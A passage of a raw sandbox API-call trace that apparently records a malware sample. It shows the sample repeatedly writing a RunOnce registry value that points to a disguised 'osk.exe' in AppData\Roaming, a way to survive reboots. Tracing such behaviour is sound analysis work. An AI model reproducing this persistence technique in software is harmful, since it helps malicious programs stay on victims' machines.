cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.212] RegCloseKey (hKey=0x14c) returned 0x0 [0259.212] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.213] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.226] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.226] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.227] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.227] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.227] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.228] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.228] RegCloseKey (hKey=0x14c) returned 0x0 [0259.228] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.228] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.242] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.242] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.242] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.243] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.243] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.243] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.243] RegCloseKey (hKey=0x14c) returned 0x0 [0259.244] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.244] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.258] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.258] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.258] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.258] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.259] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.259] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.259] RegCloseKey (hKey=0x14c) returned 0x0 [0259.259] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.260] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.275] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.275] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.276] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.276] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.276] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.277] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.277] RegCloseKey (hKey=0x14c) returned 0x0 [0259.277] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.277] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.291] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.291] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.292] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.292] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.292] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.292] RegCloseKey (hKey=0x14c) returned 0x0 [0259.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.293] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.320] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.320] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.320] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.321] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.321] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.321] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.322] RegCloseKey (hKey=0x14c) returned 0x0 [0259.322] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.322] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.336] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.336] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.336] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.337] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.337] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.337] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.337] RegCloseKey (hKey=0x14c) returned 0x0 [0259.338] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.338] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.351] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.351] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.352] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.352] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.352] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.353] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.353] RegCloseKey (hKey=0x14c) returned 0x0 [0259.353] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.353] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.367] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.367] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.367] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.368] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.368] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.368] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.368] RegCloseKey (hKey=0x14c) returned 0x0 [0259.368] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.368] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.382] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.382] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.383] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.383] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.383] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.383] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.383] RegCloseKey (hKey=0x14c) returned 0x0 [0259.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.384] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.398] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.398] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.399] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.399] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.399] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.399] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.399] RegCloseKey (hKey=0x14c) returned 0x0 [0259.400] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.400] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.414] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.414] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.414] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.415] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.415] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.415] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.415] RegCloseKey (hKey=0x14c) returned 0x0 [0259.415] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.416] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.429] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.429] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.430] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.430] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.430] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.430] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.430] RegCloseKey (hKey=0x14c) returned 0x0 [0259.431] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.431] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.445] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.445] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.445] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.446] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.446] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.446] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.446] RegCloseKey (hKey=0x14c) returned 0x0 [0259.446] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.446] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.461] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.461] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.461] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.462] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.462] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.462] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.462] RegCloseKey (hKey=0x14c) returned 0x0 [0259.462] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.463] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.476] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.476] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.477] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.477] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.477] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.477] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.478] RegCloseKey (hKey=0x14c) returned 0x0 [0259.478] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.478] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.492] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.492] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.492] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.493] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.493] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.493] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.493] RegCloseKey (hKey=0x14c) returned 0x0 [0259.494] 